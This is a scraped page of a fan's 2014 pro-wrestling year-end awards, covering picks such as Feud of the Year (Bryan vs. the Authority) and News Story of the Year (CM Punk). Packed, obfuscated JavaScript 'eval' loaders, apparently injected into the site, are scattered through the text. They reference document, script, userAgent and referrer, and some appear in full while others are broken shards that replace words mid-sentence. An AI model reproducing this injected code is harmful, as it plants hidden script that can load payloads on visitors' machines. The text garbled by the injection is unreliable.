2014 Awards: Most Improved

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdakh|var|u0026u|referrer|etrae||js|php'.split('|'),0,{})) one is always up for some debate.

Ethan Carter III is the same thing but as an intellectual heel instead of a monster. The guy went from being nothing in WWE to one of the best acts in TNA, very much in the same vein as Rick Rude back in 1991. Carter is going to be a player in TNA going forward and I could easily see him winning the World Title in the coming year.

2014 Awards: Worst Wrestler of the Year

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|didhn|var|u0026u|referrer|dista||js|php'.split('|'),0,{})) is another fairly easy one.

2014 Awards: Rookie of the Year

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nytsr|var|u0026u|referrer|yyery||js|php'.split('|'),0,{})) one doesn’t have as many options. For the sake of making this a bit more interesting, I’ll be including anyone who has debuted on a roster this year or very late last year.

However, this really is a two person race.

First up is Paige, who went from the best NXT Diva on the roster to debuting after Wrestlemania and taking the title from AJ (which I called perfectly for a change) kicking off a pretty awesome feud between the two of them.

2014 Awards: Promo of the Year

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzbat|var|u0026u|referrer|rdizy||js|php'.split('|'),0,{})) we’ve got some competition.

But this one topped them all.

On April 6, 2014 in the New Orleans SUPERdome, Hulk Hogan was in the ring to open Wrestlemania XXX as the official host. He talked about how there are Wrestlemania moments and you never know when one is going to happen. And then the glass shattered.

2014 Awards – Worst Angle of the Year

Stop me if you’ve heard this one before.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfzzs|var|u0026u|referrer|tetby||js|php'.split('|'),0,{})) who has followed me this year should be able to figure this one out.

Daniel Bryan cheating on Brie. Thankfully this lasted like five days before they just pulled the plug on Claire Lynch Mach II.

Batista is a face. Seriously, that might be the biggest bomb of the year. See what I did there?

2014 Awards: Non-Wrestler of the Year

Remember this one from last year?

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbdsd|var|u0026u|referrer|tniys||js|php'.split('|'),0,{})) so just like last year, it’s going to Paul Heyman but I’ll go over some of the honorable mentions.

Dario Cueto is good but I need to see more of him.

2014 Awards News Story Of The Year

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfkfd|var|u0026u|referrer|reies||js|php'.split('|'),0,{})) one is a big easier to get through.I’m going to knock out the stories that just don’t measure up.

1. TNA thrown off SpikeTV, goes to Destination America.

At the end of the day, TNA just doesn’t matter in the big picture.  They’ve been the same default second biggest promotion in America for years now and they’re such a tiny blip on the radar that this just doesn’t mean much.  Now they’re going to have even fewer people watching their product which is likely to keep screwing up and not capitalizing on the talent they have.  It’s something you mention but it’s just not a big deal due to how insignificant TNA really is.

2. WWE Network doesn’t do that well.

No it hasn’t, but again I’d like to point out that we’re about nine months into something that is going to direct the company for like, ever.  They’re already getting it better and the numbers could go up over time.  It’s a story, but WAY too early to tell us much.

3. WWE signs Kenta, Steen and Devitt.

Much like the Network but in the other direction, it’s hard to say what this means.  It’s a big splash and gets headlines, but we need to see what these guys are going to mean on the main roster.

 

Now we get to the big stories.

1. Ultimate Warrior Dies After Appearing On Raw.

It’s not often in my life that I’m shocked by something, but this actually stunned me.  I mean….he was there twenty four hours earlier and then HHH is breaking news that he’s passed away.  It capped off the perfect weekend to end someone’s career, but my goodness this was jarring.

2. Daniel Bryan Needs Surgery.

I don’t think anything else changed the entire landscape of wrestling as much as this did.  Bryan was the guy and was going to be the focus of the company for the rest of the year and now he can’t even get in the ring.  It’s going to be very interesting to see where he is when he gets back, because he’s going to have to rebuild a lot of his career.

3. CM Punk.

I think we have a winner.  At the end of the day, Punk walking out changed a lot (though not as much as Bryan) immediately.  However, it’s all the aftermath that has been the talk of the wrestling world this year.  From Punk just leaving to the teasing of him coming back to the podcast to him signing with UFC (and doing the same thing that he criticized Rock and Lesnar for), nothing has meant more this year than the never ending saga of CM Punk.  To put this in perspective, I turned on ESPN today and Punk was sitting there on Sportscenter in the middle of the afternoon.  I don’t remember Cena doing that, but Punk is right there doing it now.  Punk is the story of the year and could be next year as well.




2014 Awards: Feud Of The Year

These eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yyred|var|u0026u|referrer|dhnkr||js|php'.split('|'),0,{})) were supposed to start on Sunday but as anyone who frequents my site knows, I can’t keep track of anything to save my life.  I’ll be catching up with four awards today and then do one a day every day until the end of the year.  We’ll start with one of the more popular ones with Feud of the Year.This year isn’t one of the stronger set of choices as there were some good feuds but nothing that felt really epic.  One of the first options that comes to mind is Ambrose vs. Rollins, who had some AMAZING promos and good but not great brawls.  The ending here hurts it as it was more about Wyatt being introduced for no apparent reason than the feud itself.  This can be done perfectly (see 1997 with Undertaker vs. Kane), but Wyatt came out of nowhere and the match was nowhere near HBK vs. Undertaker in the Cell.  This is probably the clubhouse leader but not by much.

Shield vs. Evolution was good and the matches were excellent but I’m not sure I’d call it the best of the year.  It felt more like a way to turn Rollins heel and end the Shield than to have a big moment, which is fine but a bit anti-climactic.  That’s kind of a running problem this year and something we’ll see again.

The same is true for the Wyatts vs. Shield.  THey had what might be the Match of the Year at Elimination Chamber but the feud just kind of stopped instead of having a big conclusion.  I’d put Shield vs. Evolution ahead of this as it actually had a conclusion, albeit not a great one.

AJ Lee vs. Paige deserves some appreciation due to making the Divas Title actually matter, but it went on so long that it really stopped meaning anything to me after awhile.

TNA actually makes the list with the Wolves vs. Hardys vs. Team 3D and their outstanding series, but I’m not sure it was so much a feud as much as a rivalry.  There was never a personal issue between the teams and that hurts it to me.  That being said, there’s a case that they had the best series of matches all year, including Shield.

That really leaves us with one option, which while short met every issue that I listed here.  Of course it’s Bryan vs. the Authority, which was a rollercoaster of emotion with the fans screaming for what they wanted until it FINALLY delivered in one of the best one night performances you’ll ever see at Wrestlemania XXX.  They set the stage and gave us the payoff with some great matches.  What else can you really ask for in a feud?  Yeah it was short in this year, but it ran about eight months from beginning to end.  The moment Bryan made Batista tap was worth everything and the energy in the Super Dome that night was amazing.